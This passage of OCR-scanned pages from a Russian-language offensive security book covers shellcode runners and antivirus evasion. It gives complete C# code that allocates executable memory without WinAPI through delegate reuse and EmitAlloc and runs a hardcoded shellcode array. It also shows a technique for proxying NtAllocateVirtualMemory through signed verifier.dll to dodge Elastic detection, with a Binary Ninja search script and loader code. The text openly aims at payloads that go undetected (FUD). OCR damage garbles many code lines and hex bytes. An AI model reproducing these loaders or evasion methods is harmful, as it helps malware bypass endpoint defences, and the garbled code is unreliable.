436 Часть for (int i = destPtr[i] 111. Способы обхода средств защиты информации startlndex; i < length; i++) = source[i]; static void ExecuteShellcode(Intptr funcAddr) var func func (); = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType(); Остается самое сложное - выделять исполняемую память без VirtualAlloc (). Выделяем исполняемую память без WinAPI Делегаты Ранее мы рассмотрели способ с вызовом метода GetDelegateForFunctionPointer (), но знаете ли вы, чrо сущесгвует и обратный метод? Его имя - GetFunctionPointerForDelegate () (https://leam.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal. getfunctionpointerfordelegate?view=net-8.0). Этот метод позволяет получить адрес делегата в памяти. Догадываетесь, что делать дальше? Флоу простой: 1. Создаем новый делегат. 2. Делегат - функция. Функция - исполняемый код. Поэтому адрес делегата - исполняемая память. 3. Получаем адрес делегата. 4. Копируем по этому адресу шелл-код. 5. Получаем новый делегат по адресу. 6. Передаем поток управления. 7. Шелл-код исполняется. Это достаточно известный метод, и его имя using System; using System.Runtime.InteropServices; namespace DelegateTest class Program - DouЫe Delegate.
Глава 22. puЫic puЫic Замена для WinAPI. Пишем раннер для шелл-кода на чистом 437 .NET delegate void Callback(); static void Action() () delegate void CallingDelegate(); static void Main() var shellcode = new byte[] (Oxfc,Ox48,0x81,0xe4 ... ) Callback myAction = new Callback(Action); IntPtr pMyAction = Marshal.GetFunctionPointerForDelegate(myAction); Marshal.Copy(shellcode, О, pMyAction, shellcode.Length); CallingDelegate callingDelegate ~ Marshal.GetDelegateForFunctionPointer<CallingDelegate>(pMyAction); callingDelegate(); Однако есть еще один метод, который позволяет именно выделять память, а не заимствовать чужую. EmitAlloc() Этот метод использует АР\ System.Reflection.Emit для выделения произвольного объема памяти. Он работает путем многократного вызова метода EmitWriteLine(), который перебирает переданное количество байтов, а затем вычитает по 18 байт из этого значения при каждой итерации цикла. 18 байт. (https://learn.microsoft.com/en-us/ dotnet/a pi/system. run time.com pilerservices.runtimehel pers. preparemethod ?view= net-8.0), который позволяет подготовить память, чтобы ее использовала СLR­ Это значит, что при каждом вызове метода Emi tWri teLine () выделяется по После чего происходит вызов PrepareMethod 1) платформа. Механизм был обнаружен исследователем Диланом Траном. Автор любезно пре­ GitHub gists (https://gist.github.com/susMdT/2dl3330f6a5Ьfa482555e224 доставил 30с0еЬ82) со всем необходимым кодом. Поэтому переделать нашу программу под использование using using using using using using EmitAlloc 1) не составит труда. System; System.Reflection.Emit; System.Reflection; System.Runtime.CompilerServices; System.Runtime.InteropServices; System.Threading;
438 Часть 111. ОхОО, Способы обхода средств защиты информации namespace ConsoleAppl class Program static void Main(string[] args) { byte[] x86shc: new byte[193] Oxfc, Охе8, Ох82, ОхОО, ОхОО, ОхбО, Ох89, OxeS, ОхЗl,ОхсО, Ох64, Ох8Ь, OxSO, ОхЗО, Ох8Ь, Ох52, Ох14, Ох8Ь, Ох72, Ох28, ОхОf,ОхЬ7, Ох4а, Ох26, ОхЗl, Oxff, Охбl, Ох7с, Ох02, Ох2с, Ох20, Охе2, OxlO, Ох8Ь, Ох4а, ОхЗс, Oxcl, Oxcf, OxOd,OxOl, Ох8Ь, Ох4с, Oxll, Ох78, Охс7, Ох52, ОхеЗ, Ох48, Oxf2, Ох52, OxOl, Oxdl, Ох59, Ох20, OxOl, ОхdЗ, Ох8Ь, Ох49, Ох18, ОхеЗ,ОхЗа, Ох49, Ох8Ь, Ох34, Ох8Ь, ОхЗl, Oxff, Ox7d, Охас, Oxcl, Oxcf, OxOd, OxOl, ОхеО, Ох75, Охfб, ОхОЗ, Ох24, Ох75, Охе4, Ох58, Ох8Ь, Ох58, Ох24, OxOl,OxdЗ, Охбб, Ох8Ь, Oxlc, OxOl, Ох24, OxSb, OxSb, Охбl, Ох59, OxSa, Ox8d, OxSd, Охба, OxOl, Ox8d, Ох85, Ох87, Oxff, OxdS, ОхЬЬ, OxfO, ОхЬS, ОхdЗ, Ох8Ь, Ох52, ОхОс, Охас, ОхЗс, Ох57, Ох8Ь, Ох51, Ох8Ь, OxOl, Охdб, Ox7d, Oxf8, ОхОс, Ох4Ь, ОхЗЬ, Ох80, ОхfЬ, ОхеО, OxOl,OxdO, Ох89, Ох44, Ох24, Oxff, ОхеО, OxSf, OxSf, Ох5а,Ох8Ь, Ох12, ОхеЬ, ОхОО, ОхОО, OxOO,OxSO, Ох68, ОхЗl, Ох8Ь, Охбf, Ох56,Ох68, Охаб, Ох95, ОхЬd, Ox9d, Oxff, OxdS, Ох75, OxOS, ОхЬЬ, Ох47, ОхlЗ, Ох72, Охбf, Охба, ОхбЗ, Охбс, ОхбЗ, Ох8Ь, Ох58, ОхЗс, ОхОб, Ох7с, ОхОа, ОхОО, ОхSЗ, Oxff, OxdS, Охс7,Ох38, Охбl, Ох51, ОхЬ2, Оха2, Ох8Ь, Ох04, Ох8Ь, Ох65, Ох2е, Ох78, Ох65, ОхОО }; var size : x86shc.Length; var addr : GenerateRWXМemory(size); CustornCopy(x86shc, О, addr, size); Thread thread: new Thread(() :> IntPtr functionPtr: addr; ExecuteShellcode(functionPtr); 1); thread.Start(); thread. Join () ; static void CustornCopy(byte[] source, int startindex, IntPtr destination, int length) unsafe byte* destPtr: (byte*)destination.ToPointer(); for (int i : startindex; i < length; i++) destPtr[i] : source[i];
Глава 22. puЫic Замена для WinAPI. static IntPtr Пишем раннер для шелл-кода на чистом GenerateRWXМemory(int AssemЬlyName AssemЬlyName = new AssemЬlyBuilder AssemЬlyBuilder .NET 439 ByteCount) AssemЬlyName("AssemЬly"); = AppDomain.CurrentDomain.DefineDynamicAssemЬly(AssemЬlyName, AssemЬlyBuilderAccess.Run); ModuleBuilder ModuleBuilder = AssemЬlyBuilder.DefineDynamicModule("Module"); MethodВuilder MethodВuilder = ModuleBuilder.DefineGlobalMethod( "MethodName", MethodAttributes.PuЬlic I MethodAttributes.Static, typeof(void), //arbitrary return type hehexd new Туре[] { )) ; // no args, but no real reason ILGenerator il = MethodВuilder.GetILGenerator(); (Ох48, Ох83, Охес, Ох28) [4] // suЬ rsp,28h // Every Emit.WriteLine results in 18 bytes // mov rcx, 1D3E2F736A8h (Охе8, Ох7а, Ох07, Ох45, Ох5е) [5] // rcx,qword ptr [rcx] (Ох48, Ох8Ь, Ох09) [3] // call mscorlib_ni 1System.Console.Write1ine (Ох48, ОхЬ9, Оха8, ОхЗб, Oxf7, Ox2d, ОхЗО, OxlO, // Ends with ! ! ret IОхсЗ) [ 1] while (ByteCount > О) Охе2, ОхОО) [10] i 1 . Emi tWr i teLine ("bruh") ; ByteCount -= 18; 11.Emit(OpCodes.Ret); // JIТ to ОхсЗ ModuleBuilder.CreateGlobalFunctions(); RuntimeMethodНandle mh = ModuleBuilder.GetMethods() RuntimeHelpers.PrepareMethod(mh); return mh.GetFunctionPointer(); [О] .MethodНandle; static void ExecuteShellcode(IntPtr funcAddr) var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); func(); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType(); Подробный анализ такого метода выделения памяти можно почитать в блоrе Пета­ ра Праника: https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/
440 Часть 111. Способы обхода средств защиты информации Заключение Нам удалось успешно избавиться от использования методов WinAPI, что позволяет сделать шелл-код-раннер более скрытным. Помните: если вы хотите предотвратить обнаружение вашей нагрузки антивирусом, то нужно мыслить шире и делать не так, как все. Как только вы начинаете отходить от известных способов обхода антивируса, сразу же получаете нагрузки, близкие к FUD.
ГЛАВА 23 Обсрусцируем вызовы WinAPI новыми способами Все крутые вредоносы стараются прятать использование вызовов WinAPI, ведь на­ личие подозрительных функций в коде может привести к блокировке исполнения нашей программы. Существует не так много документированных способов скрыть вызовы WinAPI, однако у меня есть пара любопытных разработок, и я готов ими поделиться. Мы попрактикуемся в сканировании памяти, исследовании компонен­ тов Windows и даже немного затронем RPC. Как вы знаете, любой, даже самый страшный «вирус» - это обычная программа, которая использует те же механизмы и функции, что и легитимный софт. Можно сказать, идет злоупотребление функциями, дОС1)'ПНЫМИ любому разработчику. Иногда встречается абуз недокументированных возможностей. Одним словом - хакерство! Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ ис­ пользуемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая (см. главу 17), пря­ Hashing (https:// API тать 1А Т, (https://xakep.ru/2023/09/05/hiding-iat/), применять xakep.ru/2023/10/06/api-hashing/) и предотвращать загрузку DLL (см. главу 18). декомпиляция. Хакеры, в свою очередь, научились анхукать Представьте, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает анти­ вирус! Например, вместо virtualAllocEx () можно дергать что-нибудь альтернативное, как мы это делали в главе 12 про шелл-код-раннер на чистом С#. И это возможно! Существует несколько техник, позволяющих идти обходным путем, не затрагивая «подозрительные» методы или всячески скрывая их использование.
Часть 442 1/1. Способы обхода средств защиты информации Проксирование вызовов Теория У западных коллег эта техника называется Proxy lnvoke. Она основана на том, что хакер обнаруживает такую функцию, которая дергает нужные вещи, «проксируя» вызов. Фактически идет злоупотребление чужими обвязками над существующими методами. Пример: у нас есть функция ZwProtectVirtualMemory () , она позволяет изменить разре­ шения памяти . Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее исполь­ зования может вылезти алерт, например у Elastic (https://github.com/elastic/ protections-artifacts/ЫoЬ/c b45629514acefc68a9d08111 Ь3а 76bc90e52238/behavior/ rules/defense_evasion_suspicious_api_call_from_an_unsigned_dll.toml, рис. 23.1 ). Rule Malicious Behavlor Detection Alert : VirtuaJProtect API Call from an Unslgned DLL Mallcious Behavlor Detectlon Alert : Suspiclous API Call from an Uмlgned Maliclous Behavior Detection Alert : ExecutaЫe Ьу Неар Allocatlon DLL Unslgned Module Maliclous Behavior Detectlon Alert: Network Module Loaded from Suspicious Unbacked Memory Mallcloos Behavior Detectlon Alert: Perslstence via а Process from а Removaыe or Mounted ISO Devtce Mallcloos Behavior Detectlon Alert: Suspicious Strlng Value Written to Reglstry Run Кеу Mallcious Behav1or Detectlon Alert: Unslgned DLL from Susplcious Dfrectory Malfcious Behavlor Detectfon Alert; System Blnary Proxy Executlon via ScrfptRunner Рис. 23.1. Пример алерта ИНТЕРЕСНОЕ по ТЕМЕ • DouЫing Down: Detecting ln- Memory Threats with Kernel ЕТW Call Stacks: https://www.elastlc.co/securlty-labs/douЫing-down-etw-callstacks. • Твит @dez_: https://x.com/dez_/status/1765041607328624791 . Нас интересует этот: Virtua\Protect API Cal\ from an Unsigned DLL. Логика детекта проста: если функция вызывается из адресного пространства неподписанной биб­ лиотеки, то вызов считается вредоносным. Подобные рассуждения имеют право на жизнь, ведь зачем обычному разработчику дергать Zw-функцию из своей програм­ мы? Явно что-то нечисто ... Обход такого детекта возможен через проксирование. Нам нужно найти легитим­ ный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию. Был такой поток управления: malware - ntdll!ZwProtectVirtualMemory
Глава 23. Обфусциеrем вызовы WinAPI новыми способами 443 Станет вот такой: malware ➔ signed!SomeFuncToProtectMernory ➔ ntdll!ZwProtectVirtualMernory И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает ин­ струмент Parasite-Invoke (https://github.com/МzНmO/Parasite-Invoke). Однако он работает только с программами на С#. С некоторой натяжкой можно сказать, что подобное проксирование когда-то побе­ дило на премии #toc04). Pentest Award (https://xakep.ru/2023/09/27/pentest-award-bypass/ Конечно, там еще использовалась подмена оригинального метода, однако логика осталась схожей: имитация активности, происходящей из легитимного модуля. Обнаружение прокси-функций Таблица экспортов/импортов Есть путь простой, а есть путь самурая. Начнем с простого. Он заключается в том, чтобы быстро проанализировать все существующие в системе подписанные DLL и определить использование в них функций, до которых мы можем дотянуться. Варианта два. □ Можем идти от таблицы импортов. Например, видим импорт ZwProtectVirtualMernory (), после чего находим место, в котором эта функция дергается, и смотрим, есть ли возможность контроля аргументов. □ Можем идти от таблицы экспортов. Например, видим экспорт функции AllocateAndProtectSomeMernory (), догадываемся о потенциально интересной функцио­ нальности и исследуем эту функцию. Для подобного анализа подойдет скрипт findSymbols.py (https://github.com/ mgeeky/Penetration-Testing-Tools/ЬloЬ/master/windows/findSymbols.py). Например, вот так можно обнаружить все импорты функции (рис. MiniDumpWriteDump() 23.2). А так- проанализировать экспорть1 (рис. python .\findSymЬols.py 23.3): "c:\windows\system32" -s "memory" -е Однако далеко не все функции объявляются экспортируемыми, поэтому можно прибегнуть к анализу символов, как я это делал в SymProcAddress также (https://github.com/МzНmO/SymProcAddress), разбор- в моей статье на «Хабра­ хабре»: https://habr.com/ru/articles/829892/. Но все равно как-то много «если» и лишнего ресерча. Хочется автоматизировать и сразу дергать нужную функцию, правда? А вот это уже бусидо! Бинарный анализ Путь самурая мощью API - автоматизировать этап исследования бинарных файлов с по­ какого-нибудь декомпилера. Этот метод я стащил у чувака с ником
Часть 444 Рис. 23.2. Пример запуска Рис. 23.3. ///. Способы обхода средств защиты информации findSymbols.py с анализом импортов Пример запуска с анализом экспортов
Глава 23. WinAPI новыми способами Обфусцируем вызовы cryptoplague 445 (bttps://Ьlog.cryptoplague.net/main/research/windows-research/proxy aUoc~ading-ntaUocatevirtualmemory-detection-ft.-elastic-defend-and-Ьinary-ninja). Он использует DLL. Binary Ninja для автоматизации анализа подписанных библиотек Рассмотрим его код подробнее. import os import binaryninja from binaryninja import highlevelil signed_dlls_path; r'C:\0sers\user\source\repos\SignedDllAnalyzer\signed_dlls.tx t' with open(signed_dlls_path, "r") as f: signed_dlls ; [dll.strip() for dll in f] total_dlls; len(signed_dlls) with open(signed_dlls_path, "r") as f: current dll; О for signed_dll_path in f: current dll +; 1 signed_dll _path ; signed_dll _path. strip () dll_name; signed_dll_path.split('\\\') (-1) dll_size_mЬ; os.path.getsize(signed_dll_path) / 1024 / 1024 progress; f"(current_dll)/{total_dlls)" if dll size mЬ > 15: print(f"[-] [{progressl] [(dll_name)] [{dll_size_mЬ:.2f) > 15 МВ]") continue print(f"[*] [{progress)] [{dll_name)] [{dll_size_mЬ:.2f) МВ]") with binaryninja.load(signed_dll_path, update_analysis;False) as binary_view: ntAllocateVirtualМemorySymЬol; binary_view.get_symЬol_by_raw_name("NtAllocateVirtual.Мemory") if not ntAllocateVirtualMemorySymЬol: continue else: print(f"(+J [(progress)] [(dll_name)] [NtAllocateVirtualМeпюry]") binary_view.set_analysis_hold(False) binary_view.update_analysis_and_wait() code_refs; binary_view.get_code_refs(ntAllocateVirtualMemorySymЬol.address) for ref in code refs: try: func; binary_view.get_functions_containing(ref.address) [О] hlil_instr; func.get_llil_at(ref.address).hlil for operand in hlil_instr.operands: if type(operand) = HighLevelILCall: if operand.dest.value.value = ntAllocateVirtualMenюrySymЬol.address: hlil_call; operand break
Часть 446 111. Способы обхода средств защиты информации args = hlil_call.params protect = args[5] regionSize = args[З] if type(protect) == HighLevelILVar: if protect.var not in func.parameter_vars: continue if type(regionSize) == HighLevelILVar: if regionSize.var not in func.parameter_vars: if type(protect) == HighLevelILConst: if int(protect.value) != Ох40: continue if type(regionSize) == HighLevelILConst: if int(regionSize.value) <= OxlOOOO: continue print(f"[+] [{progress)] [{dll_name)] [{hex(ref.address) )] [{hlil_instr)]"I except Exception as е: print(f"[x] [{progress)] [{dll_name)] [{е)]") Давайте разберем скрипт пошагово, тут есть несколько нетривиальных моментов. Итак, все начинается с чтения текстового файла, в котором лежат пути с подписан­ ными библиотеками. Например, C:\Windows\System32. import os import Ыnaryninja from Ыnaryninja import highlevelil signed_dlls_path = r'C:\Osers\user\source\repos\SignedDllAnalyzer\signed_dlls.txt' with open(signed_dlls_path, "r") as f: signed_dlls = [dll.strip(I for dll in f] total_dlls = len(signed_dlls) Затем в цикле анализируется каждая библиотека. with open(signed_dlls_path, "r") as f: current dll = О for signed_dll_path in f: current dll += 1 signed_dll_path = signed_dll_path.strip() dll_name = signed_dll_path.split('\\\'I (-1] dll_size_mЬ = os.path.getsize(signed_dll_path) / 1024 / 1024 progress = f"{current_dll)/{total_dlls)" if dll size mЬ > 15: print(f"[-] [{progress)] [{dll_name)] [{dll_size_mЬ:.2f) > 15 continue print(f" [*] [ (progress)] [ (dll_name)] [ {dll_size_mЬ: .2f} МВ]") with Ыnaryninja.load(signed_dll_path, update_analysis=False) as МВ]") Ыnary_v1ew:
Глава 23. Обфусцируем вызовы WinAPI новыми способами 447 Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Binary Ninja для Мбайт. Те, что меньше, передаются в ного анализа через метод load () . Здесь важно знать, что у Binary Ninja есть не только GШ, но и API, бинар­ через который можно загрузить бинарный файл и провести некоторый автоматический анализ. Бинарник будет представлен в виде объекта BinaryView (https://api.Ьinary.ninja/ cpp/group_Ьinaryview.html#class_Ьinary_ninja_l_l_Ьinary_view), он же bv в до­ кументации. Он предоставляет набор методов по работе с файлом, например полу­ чение списка функций. »> bv <BinaryView: '/bin/1s', start OxlOOOOOOOO, len Ox182f8> >>> len(bv.functions) 140 Через BinaryView можно извлечь класс Function (https://api.Ьinary.oioja/cpp/ group_ function.html#class _ Ьinary_ ninja_ 1_ 1_ function ), который указывает на (неожиданно!) функцию в коде. Функция будет представлена в виде BNIL - Это особый вид ассемблерных инструкций для LLIL, МLIL, lll.,IL, Pseudo-C, Binary Ninja Intermediate Language. Binary Ninja. Есть несколько форм: они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код мы получаем. Чем ниже, тем более при­ ближенный к тому, что исполняет компьютер. Огдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого - присвоение конкретной переменной значения только в одном месте в коде. Наш алгоритм поиска функций будет таким: 1. Получить 2. 3. 4. Обнаружить, что используется нужная нам функция. BinaryView. Определить место, из которого вызывается нужная нам функция. Убедиться, что мы можем контролировать аргументы, передаваемые в функции. Это все автоматизируется с помощью Binary Ninja. Сначала делаем поиск символа. Если символа нет, значит, и использования функции нет. ntAllocateVirtualMemorySymЬol = Ьinary_view.get_symЬol_by_raw_name("NtAllocateVirtualMemory") if not ntAllocateVirtualMemorySymЬol: continue else: print (f" [ +] [ {progress)] [ {dll _name)] [NtAllocateVirtualMemory] ") Убедившись, что метод присутствует, запускаем анализ. Метод set_analysis_hold() (https://api.Ьinary.oioja/Ьioarynioja.Ьinaryview-module.html#Ьioaryninja.Ьinary view.BinaryView.set_analysis_hold) «включает анализ», а update_analysis_and_wait() (https://api.Ьinary.ninja/Ьinaryninja.Ьinaryview-module.html#Ьinaryninja.Ьinary view .BinaryView .update_analysis_aod_wait) его осуществляет.
Часть 448 111. Способы обхода средств защиты информации binary_view.set_analysis hold(False) binary_view.update_analysis_and_wait() После того как BN провел анализ бинарного кода, можно приступать к пункту три. Обнаруживаем места, ссылающиеся на нужный нам метод, через get _code_ refs () (bttps://api.Ьinary.ninja/Ьinaryninja.Ьinaryview-module.btml#Ьinaryninja. Ьinaryview .BinaryView .get_code_ refs ). code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymЬol.address) Затем пробегаемся в цикле по всем ссылкам, находя функции, которые ссылаются на нужный нам метод. for ref in code refs: try: func = binary_view.get functions_containing(ref.address) [О] Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес. hlil instr = func.get_llil_at(ref.address) .hlil for operand in hlil_instr.operands: if type(operand) == HighLevelILCall: if operand.dest.value.value == ntAllocateVirtualMemorySymЬol.address: hlil call = operand break Для этого мы получаем LLIL (низкоуровневое представление инструкций) по адре­ су, следующим шагом конвертируем в НLIL и убеждаемся по наличию операнда сан, что происходит вызов функции. Наконец, получаем параметры функции, а также анализируем, можем ли мы воз­ действовать на эти переменные из параметров функции-обертки. args = hlil_call.params protect = args[5] regionSize = args[З] if type(protect) == HighLevelILVar: if protect.var not in func.parameter_vars: # Проверка на наличие в параметрах родительской функции continue if type(regionSize) = HighLevelILVar: if regionSize.var not in func.parameter_vars: if type(protect) == HighLevelILConst: if int(protect.value) != Ох40: continue if type(regionSize) = HighLevelILConst: if int(regionSize.value) <= OxlOOOO: continue print(f"[+] [{progress)] [(dll_name)] [(hex(ref.address) }] [{hlil_instr}]")
Глава Обфусциеrем вызовы 23. 449 новыми способами WinAPI • ["] ( 694 / 1418 ] [ ver1fier . dll ] [ 0.38 М8] [ •] ( 694 / 1418 ] (v er1f i er.dll ] [ NtAllocateVirtualмemory] [•] ( 694 / 1418 ) [ ver1f1er . dll ] [ 0х180002930 ] [ int32 _t rax_6 • NtAllocateV1rtualMemory(•l, &var_70, 0, ,., &var _60, 0х1000 , ( sbb . d ( rcx, rcx, ( a r gl & 0х40000 ) ! • 0 ) & 0х3с) + 4 ) ) [•] ( 694 / 1418 ] [ ver1fier.dll] [ 0xl800063d0] [ NtAllocateVirtualMemory(•l, argl, 0, arg2, 0х1000, argЗ ) ] [•] [ 694 / 1418] [ verifier . dll] [ 0xl80006S7e] ( NtAllocateV1rtuaiHemory (- l, argl, 0, arg2, v.i;'_BB, var_80_1)] Рис. f i't' f d1t lu-np v.,.., ~f(!\ --_. -..._. °"'°"' Q ...... . 'li'lllt.' ,_: ....,, • OO·'·""""'r.Ja_ _ _ _ ....... ..,,,. ....... ,, IZI - 23.4. Пример работы ~р - ~m 111rr .а ·•.,.~-,,..х. : -- [] х i1В u,,t" l[ZI 1 2{ r•F'8.Jl.lkЧ 11 812 13 8 14 815 8 ,. • 17 818 819 28 8 21 ) t.1of1 ..,...,._ [] ,, f } в •l.s• 24 { • 25 х ."' 29 ........ !Ю PSIЦ_T • lttQuвySystlМ.lnfonut:ion (Sy s trilPrr-fotWanCrlnforution, Syste.Jnforwation , if ( Event < 8 ) ~turn ( unsicм,d int ) Event ; if ( 188 • vtl / vl2 > AVrfp{)pЖaJISyst,.,idrC~i~r11t ) EV№t LAВEL_B, fvent • - 187374182J; } Jl LAl!El_l8 c J1 •н 8 34 if ( Ev~nt >• 8 ) ~turn ( unsiened int )Nt:AJ loиtrVir-t:u.1"e80ry ( 00001-tn ~ ~-o.r:~ : 1 ' In ~ • l . t~ ~ i l r r chкlu to dr:t~in@ if it is ~ad-onJy . tм s rpe1t prrwis sions, cl•ss , ilnd с1моо2оn) na.r -) ()1( 188834094 : us ine gufi,Sr-d typr int AVrfp()pН\uSyst,-fi~ tPr:rc~t; 1888828F8 : us iлc ~sr-d typr chair- Syrt.ealnforaation[48]; 1888828F8: u s iлe ---sr-d ._,_ char Evrntlnforмtion(41 • - =, 11 id.l• ..... Oia.k: 406& Рис. 32 33 34 35 а 23.5. Обнаруженная функция LAВEL_10: if ( Event >= 0) return ( unsigned int )нt:Allo cateVirtualМeпюry( ( НANDLE )0xFFFFFFFFFFFFFFFFiб4, BaseAddress, 36 37 38 39 0i64, RegionSize , 0x1000u, Protect ); 140 141 return (unsigned int ) Event ; 142 } Рис. ![) R~cionSi-ze_, UlOl«i Protect ) if ( ( unsignr-d int )AVгfpOpН\;u[Syste81f~itPerc~t > : 8хб4 ) { i f ( AVrfp[)pН'taxSyst.~ida:o.ii tP~ eit - -1 ) { Ev~t • Nt~ryEv~t(Hie,h(~it(onditionEv~t , EvrntВasicinforwation, Ev~tl11f0f"8ation , if( fw-nt <8) r-rtum ( unsigrted int ) Event ; if ( v9 1= 1 ) eoto LAВEL_t8 ; goto LA8El_8; ) Event " 8 ; п .26 8 27 8 28 .......... а - . ---1• - есх char EvмtlnfOМW1tion ( 4 ) ; 1/ (rsp-+Jeh) [rЬр 198h] ВYREF int \'О ; // (rsp.-3Ah] [гЬр - 194h} cf'l•r SystмinfOП161'.ior1 [ 48 J ; // (пp+40ti] {гt,p-18Sh] BVREF int V'll ; // [r-<J;p-+7eh) (rЬр 1'>8h] unsi,cned int v12; // [rsp+74h] [rЬp - lW';] Eve-it; // ---= •e.s~S!, 4 8 9 8 18 < а Qph((81itмt..oryForP•cefil!•P ( PY010 .,._, NТSTAТUS •7 ., -· i1В а f•stc:eU (jj} з s ,ii .._ _ ► IDD 1 • ....... _ _____ 23.6. Вызов функции 8х1~ . Вu , 8164); 8164);
Часть 450 111. Способы обхода средств защиты информации С помощью этого скрипта получилось обнаружить место, в котором используется функция NtAllocateVirtualMemory ( 1 внутри verifier. dll (рис. 23 .4 ). Дальнейшим исследованием была обнаружена функция DphCommi tMemoryFromPageHeap ( 1 из verifier. dll, внутри которой и дергалась NtAllocateVirtualMemory () (рис. А вот и наша NtAllocateVirtualMemory ( 1 (рис. Пример с 23 .5). 23 .б)! DphCommitMemoryFromPageHeap После того как мы смогли найти нужную функцию, следует добиться передачи по­ тока управления по этому адресу. Есть два варианта: □ определить смещение функции относительно базового адреса загрузки DLL в памяти; □ определить адрес целевой функции по байтовому паттерну. Воспользуемся вторым вариантом. Здесь нам поможет памяти (рис. по опкодам. Начнем с определения IDA, начальных а также сканирование инструкций функции 23.7). . text: 00000001800020F8 . text : 00000001800020F8 . text:00000001 В00020F8 . text:00000001В00020F8 . text : 00000001B00020F8 . text : 00000001800020F8 . text :00000001800020F8 . text :00000001800020F8 . text: 00000001800020F8 _text :00000001800020F8 . text : 00000001800020F8 . text : 00000001800020F8 . text : 00000001800020F8 . text:00000001800020F8 -text :00000001800020F8 itext: text :00000001800020Fд text:00000001800020F8 text :00000001800020FC text :0000000180002103 ; _int64 _fastcall OphComniitМemoryforPageHcap(PVOIO •вaseAddress , PSIZE_T RegionSi ze , ULONG Protect) DphCommi tмenюryFor Pa g eHeap proc near ; СООЕ XRE F: AllrfpDphSetProtectioosBeforeUse•96+p ; AllrfpOphAllocateNode•AD•p ; ОАТА XREF: ... A!locationType = dword ptr • lAВh Protoct = dword ptr - 1A0h Eventlnformation= byte ptr - 198h var _194 = dword ptr -194h SysteNinfor•ation= byte ptr - 188h = dword ptr - 158h var _158 var _154 = dword ptr -154h var _28 = qword ptr - 2Bh unwind 1 / / . ,еп: . text :0000000180002100 . text:0000000180002115 . text : 000000018000211В . text : 0000000180002 11 Е . text :0000000180002121 . text :0000000180002124 Рис. 23.7. 6SHand.lerCheck pusn rq;: rsi push push rdi sub rsp, 1B0h rax cs : securi tv cookie NOV rax, rsp xor nюv [ rsp+1C8h+var _ 28 ], rax NOV еах, cs: AVrfpOphМaxSyste.,,ideCOIIIDi tPercen t nюv esi, r8d mov rdi, r dx mov rbx, rcx 'd' cmp еах , 64h ; ---- - Инструкции, которые будем использовать для поиска функции Затем переводим их в опкоды, по которым будем осуществлять сканирование (рис. 23.8). Определяем прототип функции для вызова. typedef int (WINAPI * DphCommi tMemoryFromPageHeapFunc) ( PVOID* BaseAddress, PSIZE_T RegionSize, ULONG Protect 1;
Глава 23. ОбФусцируем вызовы WinAPI новыми способами Enter your assemЫy code using lntel syntax 451 Ьelow. :push rbx ;push rsi :push rdi !sub rsp, ех1ве I Architecture: О х86 @ x64 AssemЫe ] AssemЫy R.w Нех (zero bytes in bold): 535657 4881ЕСВ0018И8 Strin1 Liter ■ l, "\х53\х5б\х57\х48\х81\хЕС\х80\х01\х00\х00" Liter'■ l t Arr ■y { 0х53, 0х5б, 0х57, 0х48, 0х81, 0хЕС, 0х80, 0х01, 0х09, 0х00} DisassemЫy : 0: 1: 53 2: 57 48 81 3: 56 ее ь0 01 00 00 push push push sub rbx rsi rdi rsp,0x1b0 Рис. 23.8. Оnкоды Добавляем код по с кану памяти и передаем на функцию поток управления! int rnain () НМODULE hМodule = NULL; = LoadLibraryA("verifier.dll"); DphCornrnitMernoryFrornPageHeapFunc DphCornrnitMernoryFrornPageHeapWPtr (DphCornrnitMernoryFrornPageHeapFunc) (FindFunction (GetCurrentProcess() , GetFunctionBytes(), hМodule (uintp tr_t)hМodule)); SIZE Т size = ОхАВСD ; LPVOID addr = nullptr; NTSTATUS err = DphCornrnitMernoryFrornPageHeapWPtr(&addr, &size , PAGE EXECUTE); std: :wcout << err << std: :endl; return О;
452 Часть 111. Способы обхода средств защиты информации ш ...1 Q z <{ I Q 1 :::; ~ z -1 (/) ::::) ~ (/) 1-- IU а. ..,m о a:i oi м N u :s: о.
Глава 23. Обфусцируем вызовы WinAPI новыми способами 453 Полный код представлен по адресу https://github.com/МzHmO/articles/ЫoЬ/main/ memscan/DphCommitMemoryFromPageHeap.cpp. На рис. 23.9 мы видим резуль­ тат вызова. Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory (), он дергает ее по оффсету, но вы можете в качестве тренировки сделать получение адреса по паттерну. typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t) ( ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, ULONG_PTR *RegionSize, ULONG AllocationType, ULONG Protect НANDLE 1; DWORD protect{); LPVOID virtualMemory = nullptr; SIZE_T size = rawShellcodeLength; НМODULE hVerifierMod = this->api.LoadLibraryA.call("verifier.dll"); AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory = (AVrfpNtAllocateVirtualMemory_t) ( (char*)hVerifierMod + Ох25110); AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory, MEM_COMMIT, PAGE_EXECUTE_READWRITE); О, &size, МЕМ RESERVE this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength); (*(int(*) ()) virtualMemory) (); Через RPC Скажу честно, проксирование через вызовы - достаточно сложный метод, объяс­ нение которого не уместится в одну главу. По этому способу был даже представлен доклад на конференции (https://github.com/klezVirus/RpcProxylnvoke/ЫoЬ/master/ %5BSlides%5D%20U nraveling%20an 